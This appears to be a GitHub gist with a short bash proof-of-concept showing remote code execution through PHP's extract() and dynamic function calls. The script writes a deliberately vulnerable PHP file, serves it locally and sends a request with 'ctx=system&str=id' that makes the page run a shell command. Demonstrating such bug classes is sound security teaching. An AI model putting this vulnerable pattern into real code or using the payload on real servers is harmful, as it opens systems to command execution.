Created
August 21, 2023 13:15
-
-
Save win3zz/85fb8e05ba0a447435235d368685889c to your computer and use it in GitHub Desktop.
Unsanitized User Input in PHP extract() and Dynamic Functions Can Lead to RCE
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Display PHP version | |
php -v | |
# Create a PHP file containing malicious code using 'extract()' | |
echo '<?php extract($_GET); $ctx($str); ?>' > extract_test.php | |
# Display the contents of the created PHP file | |
cat extract_test.php | |
# Start a PHP server on 127.0.0.1:8899 | |
php -S 127.0.0.1:8899 > /dev/null 2>&1 & | |
# Send a request to the PHP server with a malicious user input via a GET parameter | |
curl 'http://127.0.0.1:8899/extract_test.php?ctx=system&str=id' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment